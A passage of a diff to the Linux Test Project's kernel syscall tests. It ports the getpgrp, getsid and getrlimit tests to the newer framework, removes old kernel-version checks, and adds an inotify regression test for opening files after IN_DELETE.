*/ -/* $Id: getpgrp01.c,v 1.6 2009/10/26 14:55:47 subrata_modak Exp $ */ -/********************************************************** - * - * OS Test - Silicon Graphics, Inc. - * - * TEST IDENTIFIER : getpgrp01 - * - * EXECUTED BY : anyone - * - * TEST TITLE : Basic test for getpgrp(2) - * - * PARENT DOCUMENT : usctpl01 - * - * TEST CASE TOTAL : 1 - * - * WALL CLOCK TIME : 1 - * - * CPU TYPES : ALL - * - * AUTHOR : William Roske - * - * CO-PILOT : Dave Fenner - * - * DATE STARTED : 03/30/92 - * - * INITIAL RELEASE : UNICOS 7.0 - * - * TEST CASES - * - * 1.) getpgrp(2) returns...(See Description) - * - * INPUT SPECIFICATIONS - * The standard options for system call tests are accepted. - * (See the parse_opts(3) man page). - * - * OUTPUT SPECIFICATIONS - *$ - * DURATION - * Terminates - with frequency and infinite modes. - * - * SIGNALS - * Uses SIGUSR1 to pause before test if option set. - * (See the parse_opts(3) man page). - * - * RESOURCES - * None - * - * ENVIRONMENTAL NEEDS - * No run-time environmental needs. - * - * SPECIAL PROCEDURAL REQUIREMENTS - * None - * - * INTERCASE DEPENDENCIES - * None - * - * DETAILED DESCRIPTION - * This is a Phase I test for the getpgrp(2) system call. It is intended - * to provide a limited exposure of the system call, for now. It - * should/will be extended when full functional tests are written for - * getpgrp(2). - * - * Setup: - * Setup signal handling. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, Issue a PASS message. - * - * Cleanup: - * Print errno log and/or timing stats if options given - * - * - *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/ - -#include -#include -#include -#include -#include -#include "test.h" - -void setup(); -void cleanup(); - -char *TCID = "getpgrp01"; -int TST_TOTAL = 1; - -int main(int ac, char **av) -{ - int lc; - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - TEST(getpgrp()); - - if (TEST_RETURN == -1) - tst_resm(TFAIL | TTERRNO, "getpgrp failed"); - else - tst_resm(TPASS, "getpgrp returned %ld", TEST_RETURN); - - } +/*\ + * [Description] + * + * Verify that getpgrp(2) syscall executes successfully. + */ - cleanup(); - tst_exit(); -} +#include "tst_test.h" -void setup(void) +static void run(void) { - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; + TST_EXP_PID(getpgrp()); + TST_EXP_EQ_LI(TST_RET, SAFE_GETPGID(0)); } -void cleanup(void) -{ -} +static struct tst_test test = { + .test_all = run +}; diff --git a/testcases/kernel/syscalls/getpid/getpid02.c b/testcases/kernel/syscalls/getpid/getpid02.c index d826724f..86ad5a29 100755 --- a/testcases/kernel/syscalls/getpid/getpid02.c +++ b/testcases/kernel/syscalls/getpid/getpid02.c @@ -7,6 +7,7 @@ * [Description] * * Check that: + * * - fork() in parent returns the same pid as getpid() in child * - getppid() in child returns the same pid as getpid() in parent */ diff --git a/testcases/kernel/syscalls/getrandom/getrandom01.c b/testcases/kernel/syscalls/getrandom/getrandom01.c index ccbd2864..695f904a 100755 --- a/testcases/kernel/syscalls/getrandom/getrandom01.c +++ b/testcases/kernel/syscalls/getrandom/getrandom01.c @@ -5,9 +5,9 @@ * Calls getrandom(2) with a NULL buffer and expects failure. */ +#include "tst_test.h" #include "lapi/getrandom.h" #include "lapi/syscalls.h" -#include "tst_test.h" static int modes[] = {0, GRND_RANDOM, GRND_NONBLOCK, GRND_RANDOM | GRND_NONBLOCK}; diff --git a/testcases/kernel/syscalls/getrandom/getrandom02.c b/testcases/kernel/syscalls/getrandom/getrandom02.c index 1384fc5f..b79e4ed6 100755 --- a/testcases/kernel/syscalls/getrandom/getrandom02.c +++ b/testcases/kernel/syscalls/getrandom/getrandom02.c @@ -6,9 +6,9 @@ * and expects success. */ +#include "tst_test.h" #include "lapi/getrandom.h" #include "lapi/syscalls.h" -#include "tst_test.h" #define PROC_ENTROPY_AVAIL "/proc/sys/kernel/random/entropy_avail" diff --git a/testcases/kernel/syscalls/getrandom/getrandom03.c b/testcases/kernel/syscalls/getrandom/getrandom03.c index 705f9b28..afeb65d5 100755 --- a/testcases/kernel/syscalls/getrandom/getrandom03.c +++ b/testcases/kernel/syscalls/getrandom/getrandom03.c @@ -6,9 +6,9 @@ * number of bytes required and expects success. */ +#include "tst_test.h" #include "lapi/getrandom.h" #include "lapi/syscalls.h" -#include "tst_test.h" #define MAX_SIZE 256 diff --git a/testcases/kernel/syscalls/getrandom/getrandom04.c b/testcases/kernel/syscalls/getrandom/getrandom04.c index 465e353e..57b14881 100755 --- a/testcases/kernel/syscalls/getrandom/getrandom04.c +++ b/testcases/kernel/syscalls/getrandom/getrandom04.c @@ -7,9 +7,9 @@ */ #include +#include "tst_test.h" #include "lapi/getrandom.h" #include "lapi/syscalls.h" -#include "tst_test.h" static void verify_getrandom(void) { diff --git a/testcases/kernel/syscalls/getrlimit/getrlimit01.c b/testcases/kernel/syscalls/getrlimit/getrlimit01.c index 2a480dfa..f14c8e6a 100755 --- a/testcases/kernel/syscalls/getrlimit/getrlimit01.c +++ b/testcases/kernel/syscalls/getrlimit/getrlimit01.c @@ -47,17 +47,9 @@ static void verify_getrlimit(unsigned int i) struct rlimit rlim; struct tcase *tc = &tcases[i]; - TEST(getrlimit(tc->res, &rlim)); - - if (TST_RET == -1) { - tst_res(TFAIL | TTERRNO, - "getrlimit() test %s failed", - tc->res_str); - } else { - tst_res(TPASS, - "getrlimit() test %s success", - tc->res_str); - } + TST_EXP_PASS(getrlimit(tc->res, &rlim), + "getrlimit() test for %s", + tc->res_str); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/getrlimit/getrlimit02.c b/testcases/kernel/syscalls/getrlimit/getrlimit02.c index 586ca5a6..9b68ce20 100755 --- a/testcases/kernel/syscalls/getrlimit/getrlimit02.c +++ b/testcases/kernel/syscalls/getrlimit/getrlimit02.c @@ -18,33 +18,28 @@ #include #include "tst_test.h" -#define RLIMIT_TOO_HIGH 1000 +#define INVALID_RES_TYPE 1000 static struct rlimit rlim; static struct tcase { - int exp_errno; /* Expected error no */ - char *exp_errval; /* Expected error value string */ - struct rlimit *rlim; /* rlimit structure */ - int res_type; /* resource type */ + int exp_errno; + char *desc; + struct rlimit *rlim; + int res_type; } tcases[] = { - { EINVAL, "EINVAL", &rlim, RLIMIT_TOO_HIGH} + {EFAULT, "invalid address", (void *)-1, RLIMIT_CORE}, + {EINVAL, "invalid resource type", &rlim, INVALID_RES_TYPE} }; static void verify_getrlimit(unsigned int i) { struct tcase *tc = &tcases[i]; - TEST(getrlimit(tc->res_type, tc->rlim)); - - if ((TST_RET == -1) && (TST_ERR == tc->exp_errno)) { - tst_res(TPASS, "expected failure; got %s", - tc->exp_errval); - } else { - tst_res(TFAIL, "call failed to produce " - "expected error; errno: %d : %s", - TST_ERR, strerror(TST_ERR)); - } + TST_EXP_FAIL(getrlimit(tc->res_type, tc->rlim), + tc->exp_errno, + "getrlimit() with %s", + tc->desc); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/getrusage/getrusage03.c b/testcases/kernel/syscalls/getrusage/getrusage03.c index bf512748..fc14e93c 100755 --- a/testcases/kernel/syscalls/getrusage/getrusage03.c +++ b/testcases/kernel/syscalls/getrusage/getrusage03.c @@ -177,11 +177,15 @@ static struct tst_test test = { .forks_child = 1, .child_needs_reinit = 1, .resource_files = resource, - .min_kver = "2.6.32", + .min_mem_avail = 512, .tags = (const struct tst_tag[]) { {"linux-git", "1f10206cf8e9"}, {} }, .test = run, .tcnt = ARRAY_SIZE(testfunc_list), + .caps = (struct tst_cap []) { + TST_CAP(TST_CAP_REQ, CAP_IPC_LOCK), + {} + }, }; diff --git a/testcases/kernel/syscalls/getrusage/getrusage03.h b/testcases/kernel/syscalls/getrusage/getrusage03.h index f1bbe9be..b28b9d4c 100755 --- a/testcases/kernel/syscalls/getrusage/getrusage03.h +++ b/testcases/kernel/syscalls/getrusage/getrusage03.h @@ -16,6 +16,8 @@ static void consume_mb(int consume_nr) size_t size; unsigned long vmswap_size; + mlockall(MCL_CURRENT|MCL_FUTURE); + size = consume_nr * 1024 * 1024; ptr = SAFE_MALLOC(size); memset(ptr, 0, size); diff --git a/testcases/kernel/syscalls/getrusage/getrusage04.c b/testcases/kernel/syscalls/getrusage/getrusage04.c index 06b576d7..b03bc549 100755 --- a/testcases/kernel/syscalls/getrusage/getrusage04.c +++ b/testcases/kernel/syscalls/getrusage/getrusage04.c @@ -104,8 +104,9 @@ int main(int argc, char *argv[]) tst_count = 0; i = 0; SAFE_GETRUSAGE(cleanup, RUSAGE_THREAD, &usage); - tst_resm(TINFO, "utime:%12luus; stime:%12luus", - usage.ru_utime.tv_usec, usage.ru_stime.tv_usec); + tst_resm(TINFO, "utime:%12lldus; stime:%12lldus", + (long long)usage.ru_utime.tv_usec, + (long long)usage.ru_stime.tv_usec); ulast = usage.ru_utime.tv_usec; slast = usage.ru_stime.tv_usec; @@ -115,9 +116,9 @@ int main(int argc, char *argv[]) sdelta = usage.ru_stime.tv_usec - slast; if (udelta > 0 || sdelta > 0) { i++; - tst_resm(TINFO, "utime:%12luus; stime:%12luus", - usage.ru_utime.tv_usec, - usage.ru_stime.tv_usec); + tst_resm(TINFO, "utime:%12lldus; stime:%12lldus", + (long long)usage.ru_utime.tv_usec, + (long long)usage.ru_stime.tv_usec); if ((long)udelta > 1000 + (BIAS_MAX * factor_nr)) { sprintf(msg_string, "utime increased > %ldus:", diff --git a/testcases/kernel/syscalls/getsid/getsid01.c b/testcases/kernel/syscalls/getsid/getsid01.c index 0857468f..89f6a729 100755 --- a/testcases/kernel/syscalls/getsid/getsid01.c +++ b/testcases/kernel/syscalls/getsid/getsid01.c @@ -1,159 +1,50 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * NAME - * getsid01.c - * - * DESCRIPTION - * getsid01 - call getsid() and make sure it succeeds - * - * ALGORITHM - * loop if that option was specified - * issue the system call - * check the return value - * if return value == -1 - * issue a FAIL message, break remaining tests and cleanup - * if we are doing functional testing - * save the return value from the getsid() call - the session ID - * fork a child and get the child's session ID - * if the child's session ID == the parent's session ID - * issue a PASS message - * else - * issue a FAIL message - * else issue a PASS message - * call cleanup - * - * USAGE: - * getsid01 [-c n] [-f] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 07/2001 Ported by Wayne Boyer +/*\ + * [Description] * - * RESTRICTIONS - * none + * Verify that session IDs returned by getsid() (with argument pid=0) + * are same in parent and child process. */ -#define _GNU_SOURCE 1 -#include -#include -#include -#include "test.h" -void cleanup(void); -void setup(void); +#include "tst_test.h" -char *TCID = "getsid01"; -int TST_TOTAL = 1; +static pid_t p_sid; -pid_t p_sid; - -int main(int ac, char **av) +static void run(void) { - int lc; - pid_t pid, c_pid, c_sid; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); /* global setup */ + pid_t pid, c_sid; - /* The following loop checks looping state if -i option given */ + TEST(getsid(0)); + if (TST_RET == -1) { + tst_res(TFAIL | TTERRNO, "getsid(0) failed in parent"); + return; + } - for (lc = 0; TEST_LOOPING(lc); lc++) { - /* reset tst_count in case we are looping */ - tst_count = 0; + p_sid = TST_RET; - /* call the system call with the TEST() macro */ + pid = SAFE_FORK(); + if (pid == 0) { TEST(getsid(0)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL, "call failed - errno = %d " - "- %s", TEST_ERRNO, strerror(TEST_ERRNO)); - continue; - } - - /* save the return value in a global variable */ - p_sid = TEST_RETURN; - - if ((pid = FORK_OR_VFORK()) == -1) { - tst_brkm(TBROK, cleanup, "could not fork"); - } - - if (pid == 0) { /* child */ - if ((c_pid = getpid()) == -1) { - tst_resm(TINFO, "getpid failed in " - "functionality test"); - exit(1); - } - - /* - * if the session ID of the child is the - * same as the parent then things look good - */ - - if ((c_sid = getsid(0)) == -1) { - tst_resm(TINFO, "getsid failed in " - "functionality test"); - exit(2); - } - - if (c_sid == p_sid) { - tst_resm(TPASS, "session ID is " - "correct"); - } else { - tst_resm(TFAIL, "session ID is " - "not correct"); - } - exit(0); - - } else { - waitpid(pid, NULL, 0); + if (TST_RET == -1) { + tst_res(TFAIL | TTERRNO, "getsid(0) failed in child"); + return; } + c_sid = TST_RET; + TST_EXP_EQ_LI(p_sid, c_sid); + } else { + SAFE_WAITPID(pid, NULL, 0); } - - cleanup(); - tst_exit(); -} - -/* - * setup() - performs all the ONE TIME setup for this test. - */ -void setup(void) -{ - - tst_sig(FORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; } -/* - * cleanup() - performs all the ONE TIME cleanup for this test at completion - * or premature exit. - */ -void cleanup(void) -{ - -} +static struct tst_test test = { + .test_all = run, + .forks_child = 1 +}; diff --git a/testcases/kernel/syscalls/getsid/getsid02.c b/testcases/kernel/syscalls/getsid/getsid02.c index b5ab339e..14b63472 100755 --- a/testcases/kernel/syscalls/getsid/getsid02.c +++ b/testcases/kernel/syscalls/getsid/getsid02.c @@ -1,81 +1,27 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * * Copyright (c) International Business Machines Corp., 2001 * Copyright (c) 2012 Cyril Hrubis - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -#define _GNU_SOURCE 1 - -#include "test.h" - -#include - -char *TCID = "getsid02"; -int TST_TOTAL = 1; - -static pid_t unused_pid; - -static void cleanup(void); -static void setup(void); - -int main(int ac, char **av) -{ - int lc; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - - TEST(getsid(unused_pid)); - - if (TEST_RETURN == 0) { - tst_resm(TFAIL, "call succeed when failure expected"); - continue; - } - - switch (TEST_ERRNO) { - case ESRCH: - tst_resm(TPASS, "expected failure - errno = %d - %s", - TEST_ERRNO, strerror(TEST_ERRNO)); - break; - default: - tst_resm(TFAIL, "call failed to produce " - "expected error - errno = %d - %s", - TEST_ERRNO, strerror(TEST_ERRNO)); - break; - } - } +/*\ + * [Description] + * + * Verify that getsid(2) fails with ESRCH errno when there is no + * process found with process ID pid. + */ - cleanup(); - tst_exit(); -} +#include "tst_test.h" -void setup(void) +static void run(void) { - unused_pid = tst_get_unused_pid(cleanup); - - tst_sig(NOFORK, DEF_HANDLER, cleanup); + pid_t unused_pid; + unused_pid = tst_get_unused_pid(); - TEST_PAUSE; + TST_EXP_FAIL(getsid(unused_pid), ESRCH); } -void cleanup(void) -{ -} +static struct tst_test test = { + .test_all = run +}; diff --git a/testcases/kernel/syscalls/gettimeofday/gettimeofday01.c b/testcases/kernel/syscalls/gettimeofday/gettimeofday01.c index 08ea1673..f9acb966 100755 --- a/testcases/kernel/syscalls/gettimeofday/gettimeofday01.c +++ b/testcases/kernel/syscalls/gettimeofday/gettimeofday01.c @@ -61,7 +61,7 @@ int main(int ac, char **av) for (lc = 0; TEST_LOOPING(lc); lc++) { tst_count = 0; - TEST(ltp_syscall(__NR_gettimeofday, (void *)-1, (void *)-1)); + TEST(tst_syscall(__NR_gettimeofday, (void *)-1, (void *)-1)); /* gettimeofday returns an int, so we need to turn the long * TEST_RETURN into an int to test with */ diff --git a/testcases/kernel/syscalls/gettimeofday/gettimeofday02.c b/testcases/kernel/syscalls/gettimeofday/gettimeofday02.c index 948d2d8e..7c462cc2 100755 --- a/testcases/kernel/syscalls/gettimeofday/gettimeofday02.c +++ b/testcases/kernel/syscalls/gettimeofday/gettimeofday02.c @@ -25,8 +25,6 @@ #include "lapi/syscalls.h" static volatile sig_atomic_t done; -static char *str_rtime; -static int rtime = 10; static void breakout(int sig) { @@ -37,6 +35,7 @@ static void verify_gettimeofday(void) { struct __kernel_old_timeval tv1, tv2; unsigned long long cnt = 0; + int rtime = tst_remaining_runtime(); done = 0; @@ -68,21 +67,11 @@ static void verify_gettimeofday(void) static void setup(void) { - if (str_rtime) { - rtime = atoi(str_rtime); - if (rtime <= 0) - tst_brk(TBROK, "Invalid runtime '%s'", str_rtime); - tst_set_timeout(rtime + 60); - } - SAFE_SIGNAL(SIGALRM, breakout); } static struct tst_test test = { .setup = setup, - .options = (struct tst_option[]) { - {"T:", &str_rtime, "Test iteration runtime in seconds"}, - {}, - }, + .max_runtime = 10, .test_all = verify_gettimeofday, }; diff --git a/testcases/kernel/syscalls/getxattr/getxattr02.c b/testcases/kernel/syscalls/getxattr/getxattr02.c index dca6b13b..a42057d0 100755 --- a/testcases/kernel/syscalls/getxattr/getxattr02.c +++ b/testcases/kernel/syscalls/getxattr/getxattr02.c @@ -91,16 +91,7 @@ int main(int argc, char *argv[]) for (lc = 0; TEST_LOOPING(lc); lc++) { tst_count = 0; - - /* - * Before kernel 3.0.0, getxattr(2) will set errno with 'EPERM' - * when the file is not a regular file and directory, refer to - * commitid 55b23bd - */ - if (tst_kvercmp(3, 0, 0) >= 0) - exp_eno = ENODATA; - else - exp_eno = EPERM; + exp_eno = ENODATA; for (i = 0; i < TST_TOTAL; i++) { TEST(getxattr(tc[0], XATTR_TEST_KEY, buf, BUFSIZ)); diff --git a/testcases/kernel/syscalls/getxattr/getxattr05.c b/testcases/kernel/syscalls/getxattr/getxattr05.c index c0d339f2..8d1752fd 100755 --- a/testcases/kernel/syscalls/getxattr/getxattr05.c +++ b/testcases/kernel/syscalls/getxattr/getxattr05.c @@ -20,7 +20,6 @@ #include #include #include -#include #include #ifdef HAVE_SYS_XATTR_H @@ -32,7 +31,7 @@ #endif #include "tst_test.h" -#include "lapi/namespaces_constants.h" +#include "lapi/sched.h" #if defined(HAVE_SYS_XATTR_H) && defined(HAVE_LIBACL) @@ -100,8 +99,7 @@ static void do_unshare(int map_root) /* uid_map file should exist since Linux 3.8 because * it is available on Linux 3.5 */ - if (access(UID_MAP, F_OK)) - tst_brk(TBROK, "file %s didn't exist", UID_MAP); + SAFE_ACCESS(UID_MAP, F_OK); SAFE_FILE_PRINTF(UID_MAP, "%d %d %d", 0, 0, 1); } @@ -177,7 +175,6 @@ static struct tst_test test = { .cleanup = cleanup, .tcnt = ARRAY_SIZE(tcases), .test = do_getxattr, - .min_kver = "3.8", }; #else /* HAVE_SYS_XATTR_H && HAVE_LIBACL*/ diff --git a/testcases/kernel/syscalls/init_module/init_module01.c b/testcases/kernel/syscalls/init_module/init_module01.c index 79e567cd..26ff0b93 100755 --- a/testcases/kernel/syscalls/init_module/init_module01.c +++ b/testcases/kernel/syscalls/init_module/init_module01.c @@ -53,6 +53,7 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .needs_root = 1, - /* lockdown requires signed modules */ + /* lockdown and SecureBoot requires signed modules */ .skip_in_lockdown = 1, + .skip_in_secureboot = 1, }; diff --git a/testcases/kernel/syscalls/init_module/init_module02.c b/testcases/kernel/syscalls/init_module/init_module02.c index ad6569a0..e6730e21 100755 --- a/testcases/kernel/syscalls/init_module/init_module02.c +++ b/testcases/kernel/syscalls/init_module/init_module02.c @@ -22,7 +22,7 @@ #define MODULE_NAME "init_module.ko" static unsigned long size, zero_size; -static int kernel_lockdown; +static int kernel_lockdown, secure_boot; static void *buf, *faulty_buf, *null_buf; static struct tst_cap cap_req = TST_CAP(TST_CAP_REQ, CAP_SYS_MODULE); @@ -53,7 +53,8 @@ static void setup(void) tst_module_exists(MODULE_NAME, NULL); - kernel_lockdown = tst_lockdown_enabled(); + kernel_lockdown = tst_lockdown_enabled() > 0; + secure_boot = tst_secureboot_enabled() > 0; fd = SAFE_OPEN(MODULE_NAME, O_RDONLY|O_CLOEXEC); SAFE_FSTAT(fd, &sb); size = sb.st_size; @@ -67,8 +68,8 @@ static void run(unsigned int n) { struct tcase *tc = &tcases[n]; - if (tc->skip_in_lockdown && kernel_lockdown) { - tst_res(TCONF, "Kernel is locked down, skipping %s", tc->name); + if (tc->skip_in_lockdown && (kernel_lockdown || secure_boot)) { + tst_res(TCONF, "Cannot load unsigned modules, skipping %s", tc->name); return; } diff --git a/testcases/kernel/syscalls/inotify/.gitignore b/testcases/kernel/syscalls/inotify/.gitignore index da9bfc76..f6e5c546 100755 --- a/testcases/kernel/syscalls/inotify/.gitignore +++ b/testcases/kernel/syscalls/inotify/.gitignore @@ -8,3 +8,5 @@ /inotify08 /inotify09 /inotify10 +/inotify11 +/inotify12 diff --git a/testcases/kernel/syscalls/inotify/inotify02.c b/testcases/kernel/syscalls/inotify/inotify02.c index 576ef431..cd1cb97b 100755 --- a/testcases/kernel/syscalls/inotify/inotify02.c +++ b/testcases/kernel/syscalls/inotify/inotify02.c @@ -133,21 +133,6 @@ void verify_inotify(void) struct inotify_event *event; event = (struct inotify_event *)&event_buf[i]; if (test_num >= test_cnt) { - if (tst_kvercmp(2, 6, 25) < 0 - && event_set[test_cnt - 1].mask == - event->mask) - tst_res(TWARN, - "This may be kernel bug. " - "Before kernel 2.6.25, a kernel bug " - "meant that the kernel code that was " - "intended to coalesce successive identical " - "events (i.e., the two most recent " - "events could potentially be coalesced " - "if the older had not yet been read) " - "instead checked if the most recent event " - "could be coalesced with the oldest " - "unread event. This has been fixed by commit" - "1c17d18e3775485bf1e0ce79575eb637a94494a2."); tst_res(TFAIL, "get unnecessary event: " "wd=%d mask=%08x cookie=%-5u len=%-2u " diff --git a/testcases/kernel/syscalls/inotify/inotify04.c b/testcases/kernel/syscalls/inotify/inotify04.c index fb9f5c29..70c7fecf 100755 --- a/testcases/kernel/syscalls/inotify/inotify04.c +++ b/testcases/kernel/syscalls/inotify/inotify04.c @@ -50,11 +50,6 @@ char event_buf[EVENT_BUF_LEN]; int fd_notify, reap_wd_file, reap_wd_dir, wd_dir, wd_file; -static struct tst_kern_exv kvers[] = { - { "RHEL5", "2.6.18-132" }, - { NULL, NULL }, -}; - static void cleanup(void) { if (reap_wd_dir && myinotify_rm_watch(fd_notify, wd_dir) == -1) @@ -110,11 +105,9 @@ void verify_inotify(void) * This isn't well documented in inotify(7), but it's intuitive if you * understand how Unix works. */ - if (tst_kvercmp2(2, 6, 25, kvers) >= 0) { - event_set[test_cnt].mask = IN_ATTRIB; - strcpy(event_set[test_cnt].name, ""); - test_cnt++; - } + event_set[test_cnt].mask = IN_ATTRIB; + strcpy(event_set[test_cnt].name, ""); + test_cnt++; event_set[test_cnt].mask = IN_DELETE_SELF; strcpy(event_set[test_cnt].name, TEST_FILE); @@ -131,20 +124,6 @@ void verify_inotify(void) struct inotify_event *event; event = (struct inotify_event *)&event_buf[i]; if (test_num >= test_cnt) { - if (tst_kvercmp(2, 6, 25) < 0 - && event_set[test_cnt - 1].mask == event->mask) - tst_res(TWARN, - "This may be kernel bug. " - "Before kernel 2.6.25, a kernel bug " - "meant that the kernel code that was " - "intended to coalesce successive identical " - "events (i.e., the two most recent " - "events could potentially be coalesced " - "if the older had not yet been read) " - "instead checked if the most recent event " - "could be coalesced with the oldest " - "unread event. This has been fixed by commit" - "1c17d18e3775485bf1e0ce79575eb637a94494a2."); tst_res(TFAIL, "got unnecessary event: " "wd=%d mask=%04x cookie=%u len=%u " diff --git a/testcases/kernel/syscalls/inotify/inotify05.c b/testcases/kernel/syscalls/inotify/inotify05.c index 15dc5b56..c83ff45a 100755 --- a/testcases/kernel/syscalls/inotify/inotify05.c +++ b/testcases/kernel/syscalls/inotify/inotify05.c @@ -52,7 +52,7 @@ void verify_inotify(void) SAFE_LSEEK(fd, 0, SEEK_SET); SAFE_READ(1, fd, buf, BUF_SIZE); SAFE_LSEEK(fd, 0, SEEK_SET); - SAFE_WRITE(1, fd, buf, BUF_SIZE); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, BUF_SIZE); } SAFE_CLOSE(fd); @@ -125,7 +125,7 @@ static void setup(void) { sprintf(fname, "tfile_%d", getpid()); fd = SAFE_OPEN(fname, O_RDWR | O_CREAT, 0700); - SAFE_WRITE(1, fd, buf, BUF_SIZE); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, BUF_SIZE); SAFE_CLOSE(fd); fd_notify = SAFE_MYINOTIFY_INIT1(O_NONBLOCK); diff --git a/testcases/kernel/syscalls/inotify/inotify06.c b/testcases/kernel/syscalls/inotify/inotify06.c index 68813769..900bc1cb 100755 --- a/testcases/kernel/syscalls/inotify/inotify06.c +++ b/testcases/kernel/syscalls/inotify/inotify06.c @@ -87,6 +87,11 @@ static void verify_inotify(void) myinotify_add_watch(inotify_fd, names[i], IN_MODIFY); } SAFE_CLOSE(inotify_fd); + + if (!tst_remaining_runtime()) { + tst_res(TINFO, "Test out of runtime, exiting"); + break; + } } /* We survived for given time - test succeeded */ tst_res(TPASS, "kernel survived inotify beating"); @@ -108,7 +113,7 @@ static void cleanup(void) } static struct tst_test test = { - .timeout = 600, + .max_runtime = 600, .needs_root = 1, .needs_tmpdir = 1, .forks_child = 1, diff --git a/testcases/kernel/syscalls/inotify/inotify09.c b/testcases/kernel/syscalls/inotify/inotify09.c index fdfc9c07..4ce8e51d 100755 --- a/testcases/kernel/syscalls/inotify/inotify09.c +++ b/testcases/kernel/syscalls/inotify/inotify09.c @@ -46,7 +46,7 @@ static void *write_seek(void *unused) while (tst_fzsync_run_b(&fzsync_pair)) { tst_fzsync_start_race_b(&fzsync_pair); - SAFE_WRITE(0, fd, buf, sizeof(buf)); + SAFE_WRITE(SAFE_WRITE_ANY, fd, buf, sizeof(buf)); SAFE_LSEEK(fd, 0, SEEK_SET); tst_fzsync_end_race_b(&fzsync_pair); } @@ -94,6 +94,7 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test_all = verify_inotify, + .max_runtime = 150, .tags = (const struct tst_tag[]) { {"linux-git", "d90a10e2444b"}, {} diff --git a/testcases/kernel/syscalls/inotify/inotify11.c b/testcases/kernel/syscalls/inotify/inotify11.c new file mode 100644 index 00000000..dd32ea7f --- /dev/null +++ b/testcases/kernel/syscalls/inotify/inotify11.c @@ -0,0 +1,133 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 CTERA Networks. All Rights Reserved. + * + * Started by Amir Goldstein + * based on reproducer from Ivan Delalande + */ + +/*\ + * [Description] + * Test opening files after receiving IN_DELETE. + * + * Kernel v5.13 has a regression allowing files to be open after IN_DELETE. + * + * The problem has been fixed by commit: + * a37d9a17f099 "fsnotify: invalidate dcache before IN_DELETE event". + */ + +#include "config.h" + +#include +#include +#include +#include +#include + +#include "tst_test.h" +#include "tst_safe_macros.h" +#include "inotify.h" + +#if defined(HAVE_SYS_INOTIFY_H) +#include + +/* Number of files to test */ +#define CHURN_FILES 9999 + +#define EVENT_MAX 32 +/* Size of the event structure, not including the name */ +#define EVENT_SIZE (sizeof(struct inotify_event)) +#define EVENT_BUF_LEN (EVENT_MAX * (EVENT_SIZE + 16)) + +static pid_t pid; + +static char event_buf[EVENT_BUF_LEN]; + +static void churn(void) +{ + char path[10]; + int i; + + for (i = 0; i <= CHURN_FILES; ++i) { + snprintf(path, sizeof(path), "%d", i); + SAFE_FILE_PRINTF(path, "1"); + SAFE_UNLINK(path); + } +} + +static void verify_inotify(void) +{ + int nevents = 0, opened = 0; + struct inotify_event *event; + int inotify_fd; + + inotify_fd = SAFE_MYINOTIFY_INIT(); + SAFE_MYINOTIFY_ADD_WATCH(inotify_fd, ".", IN_DELETE); + + pid = SAFE_FORK(); + if (pid == 0) { + SAFE_CLOSE(inotify_fd); + churn(); + return; + } + + while (!opened && nevents < CHURN_FILES) { + int i, fd, len; + + len = SAFE_READ(0, inotify_fd, event_buf, EVENT_BUF_LEN); + + for (i = 0; i < len; i += EVENT_SIZE + event->len) { + event = (struct inotify_event *)&event_buf[i]; + + if (!(event->mask & IN_DELETE)) + continue; + + nevents++; + + /* Open file after IN_DELETE should fail */ + fd = open(event->name, O_RDONLY); + if (fd < 0) + continue; + + tst_res(TFAIL, "File %s opened after IN_DELETE", event->name); + SAFE_CLOSE(fd); + opened = 1; + break; + } + } + + SAFE_CLOSE(inotify_fd); + + if (!nevents) + tst_res(TFAIL, "Didn't get any IN_DELETE events"); + else if (!opened) + tst_res(TPASS, "Got %d IN_DELETE events", nevents); + + /* Kill the child creating / deleting files and wait for it */ + SAFE_KILL(pid, SIGKILL); + pid = 0; + SAFE_WAIT(NULL); +} + +static void cleanup(void) +{ + if (pid) { + SAFE_KILL(pid, SIGKILL); + SAFE_WAIT(NULL); + } +} + +static 